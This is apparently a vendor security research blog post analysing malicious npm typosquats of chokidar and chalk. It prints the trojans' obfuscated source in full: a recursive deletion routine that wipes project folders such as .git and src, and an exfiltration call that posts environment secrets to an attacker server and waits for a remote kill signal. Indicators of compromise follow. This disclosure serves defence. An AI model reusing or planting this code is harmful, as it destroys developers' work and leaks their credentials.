
Security News
Maven Central Adds Sigstore Signature Validation
Maven Central now validates Sigstore signatures, making it easier for developers to verify the provenance of Java packages.
Research
Security News
Kush Pandya
January 13, 2025
In Hindi, chokidar (चौकीदार) means “gatekeeper” or “watchman”—a perfect descriptor for chokidar one of Node.js' most trusted file-watching libraries with around 56 million weekly downloads. Meanwhile, chalk serves as a cornerstone for terminal string styling in JavaScript, drawing over 265 million downloads weekly. Unfortunately, our Socket threat research team recently discovered malicious packages impersonating these two widely adopted libraries. The attacker – davn118 – added a kill switch function (thanks()
) and a data-exfiltration routine to each clone, threatening .git
, .vscode
, src
, and more. Depending on your NODE_ENV
and a hidden “secret key,” these trojan libraries can wipe project files or quietly leak environment variables to a remote server.
Fun fact: This isn’t the first time chalk has been singled out by malicious actors. In a previous research post, we profiled another fake chalk package. Taken together, these findings confirm that chalk remains a prime target for supply chain attacks, while chokidar’s huge user base makes it equally attractive for attackers to exploit.
Meet “davn118,” the malicious actor who has cloned two beloved Node.js libraries – chokidar and chalk – and weaponized them with a kill switch. Alongside a recursive file-deletion function named thanks()
, these trojan packages also exfiltrate data to a suspicious URL: yc.cnzzsoft[.]com
. If your environment variables don’t match certain “secret” criteria, you could lose .git
, .vscode
, src
, and more.
davn118 publishing multiple near-identical packages – cschokidar-next, achokidar-next, and achalk-next – each purportedly “minimal and efficient,” yet clearly riffing on the original chokidar and chalk names
Why This Matters
But in these malicious clones by davn118, the attacker copies the entire legitimate code for each library, then tacks on destructive and exfiltrating logic at the bottom. Notably, each fake package reuses a similar README as the authentic library, so you won’t spot obvious differences from the docs alone.
You can see how the genuine chalk package (above) with 268 million weekly downloads stands in stark contrast to its imposter cschalk (below), which shares the identical README and branding but has near-zero adoption. This discrepancy is a strong red flag: the malicious clone closely mimics the original’s appearance yet lacks the legitimate project’s history, maintainers, and user base.
VUE_APP_SECRET_KEY
), the malicious code recursively deletes crucial project directories (e.g., .git
, .vscode
, src
) without ever making a network request.function thanks(path) {
if (fs.existsSync(path)) {
fs.readdirSync(path).forEach(file => {
const curPath = path + "/" + file;
if (fs.statSync(curPath).isDirectory()) {
thanks(curPath);
} else {
fs.unlinkSync(curPath);
}
});
fs.rmdirSync(path);
}
}
!(() => {
// If NODE_ENV != 'development', check secret key
if (
process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
"\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
) {
var key =
process.env[
"\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
];
if (!key) {
thanks("./.vscode");
thanks("./package.json");
} else {
// If key != certain strings or doesn't end with "=="
// => wipe a list of directories (like .git, .svn, src/vab, etc.)
if (
key !=
"\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077" &&
key != "vabp"
) {
if (key.length < 50 || key.substring(key.length - 2) != "==") {
thanks("./.vscode");
thanks("./library");
thanks("./src/vab");
thanks("./src/store");
thanks("./public");
thanks("./.git");
thanks("./.svn");
thanks("./mock");
}
}
}
} else {
// If NODE_ENV == 'development', still check the key
var key =
process.env[
"\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
];
if (!key) {
thanks("./.vscode");
thanks("./src/vab");
}
if (
key !=
"\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077" &&
key != "vabp"
) {
if (key.length < 50 || key.substring(key.length - 2) != "==") {
thanks("./.vscode");
thanks("./.git");
thanks("./.svn");
}
}
}
})();
NODE_ENV
≠ "development" (commonly meaning production or another non-dev environment):.vscode
and .package.json
(if the key is missing) but also a broader set of folders if the key is invalid: ./library
./src/vab
./src/store
./public
./.git
./.svn
./mock
NODE_ENV
= "development":.vscode
, src/vab
, .git
, .svn
—but omits some of the bigger, production-heavy directories (library
, public
, mock
, etc.)."\\u0066\\u0077\\u0066\\u006d\\u0069\\u0061\\u006f\\u0036\\u0032\\u0034\\u0030\\u0039\\u0033\\u005f\\u0059\\u0035\\u0039\\u0039"
→ "fwfmiao624093599"
"\\u0070\\u0072\\u0065\\u0076\\u0069\\u0065\\u0077"
→ "preview"
"vabp"
"=="
. If your secret key fails these checks, destruction ensues.thanks()
fs.unlinkSync()
on each file in a directory, then fs.rmdirSync()
to remove the folder itself../.vscode
, ./.git
, ./.svn
, ./src/vab
, ./mock
, and more.Socket detects cscchokidar-next@4.0.14 as known malware, labeling it a severe supply chain risk. The AI scanner confirms destructive file operations, as well as suspicious environment variable checks that can obliterate local repos. The low usage metrics, combined with Socket’s explicit “Known malware” alert, underscore that this package—despite claiming to be an efficient file watcher—actually endangers developers’ projects with hidden, destructive logic.
Unlike the chokidar variant, which relies purely on local password checks, this chalk clone does two things:
yc.cnzzsoft[.]com
) for a remote kill signal.Key Code Snippet
function thanks(path) {
// Recursively deletes all files in the given directory
if (fs.existsSync(path)) {
fs.readdirSync(path).forEach(file => {
const curPath = path + "/" + file;
if (fs.statSync(curPath).isDirectory()) {
thanks(curPath);
} else {
fs.unlinkSync(curPath);
}
});
fs.rmdirSync(path);
}
}
!(() => {
// If NODE_ENV isn't "development", gather environment data
if (
process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
"\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
) {
axios({
url: "\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0079\u0063\u002e\u0063\u006e\u007a\u007a\u0073\u006f\u0066\u0074\u002e\u0063\u006f\u006d\u002f\u0067\u0065",
method: "post",
data: {
customUserId:
process.env[
"\u0056\u0055\u0045\u005f\u0047\u0049\u0054\u0048\u0055\u0042\u005f\u0055\u0053\u0045\u0052\u005f\u004e\u0041\u004d\u0045"
],
secretKey:
process.env[
"\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
],
timestamp: new Date().getTime(),
},
}).then(({ data }) => {
// If the server responds with code 202, destroy .git, node_modules, etc.
if (data.code == 202) {
thanks("./.git");
thanks("./node_modules");
// Possibly other folders...
}
}).catch(() => {
// Fail silently if the request errors out
});
}
})();
How It Works
NODE_ENV
(obfuscated as "\\u004e\\u004f\\u0044\\u0045\\u005f\\u0045\\u004e\\u0056"
) and compares it to "development"
("\\u0064\\u0065\\u0076\\u0065\\u006c\\u006f\\u0070\\u006d\\u0065\\u006e\\u0074"
).NODE_ENV !== "development"
, it proceeds with data exfiltration.customUserId
(from VUE_GITHUB_USER_NAME
) and secretKey
(from VUE_APP_SECRET_KEY
) to yc.cnzzsoft[.]com
.new Date().getTime()
.data.code == 202
, the code calls thanks()
on directories like ./.git
, ./node_modules
, etc.thanks()
Socket flags cschalk@6.1.5 , highlighting that the package sends sensitive environment data (e.g., user credentials) to a malicious server, then recursively deletes critical directories (.vscode
,.git
,node_modules
, etc.) if the server returns a specific status code. Despite mimicking the branding of the legitimate chalk library, cschalk@6.1.5 has minimal downloads and dependencies, reflecting a stark contrast from the real chalk’s popularity—and serving as a clear red flag of typosquatting.
Impact: Real-World Nightmare
.git
, .vscode
, node_modules
, or your entire src
can vanish in seconds.By hijacking chokidar and chalk, the attacker davn118 transformed trusted developer tools into Trojan horses, poised to wipe your system or harvest your secrets at the slightest mismatch in environment variables. Understanding how each package’s code triggers the kill switch is essential to protecting your projects.
A powerful safeguard is the Socket GitHub app, which scans npm dependencies in pull requests to detect malicious or typosquatted packages before they can compromise a project. For local development and continuous integration pipelines, the Socket CLI provides real-time analysis during npm installs. Additionally, the Socket browser extension offers unobtrusive scanning for suspicious packages while browsing npm or GitHub, flagging potential threats on the spot.
With supply chain attacks on the rise, a quick code or environment check might be all that stands between you and a thoroughly “thanked” ;) codebase.
yc.cnzzsoft[.]com
fwfmiao624093599
, preview
, vabp
– used by the chokidar clone to decide if it should delete directories"\\u004e\\u004f\\u0044\\u0045\\u005f\\u0045\\u004e\\u0056"
→ NODE_ENV
"\\u0056\\u0055\\u0045\\u005f\\u0041\\u0050\\u0050\\u005f\\u0053\\u0045\\u0043\\u0052\\u0045\\u0054\\u005f\\u004b\\u0045\\u0059"
→ VUE_APP_SECRET_KEY
"\\u0056\\u0055\\u0045\\u005f\\u0047\\u0049\\u0054\\u0048\\u0055\\u0042\\u005f\\u0055\\u0053\\u0045\\u0052\\u005f\\u004e\\u0041\\u004d\\u0045"
→ VUE_GITHUB_USER_NAME
thanks()
in both clones; repeatedly calls fs.unlinkSync()
and fs.rmdirSync()
on directories like .git
, .vscode
, node_modules
, and src
.Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
Maven Central now validates Sigstore signatures, making it easier for developers to verify the provenance of Java packages.
Security News
CISOs are racing to adopt AI for cybersecurity, but hurdles in budgets and governance may leave some falling behind in the fight against cyber threats.
Research
Security News
Socket researchers uncovered a backdoored typosquat of BoltDB in the Go ecosystem, exploiting Go Module Proxy caching to persist undetected for years.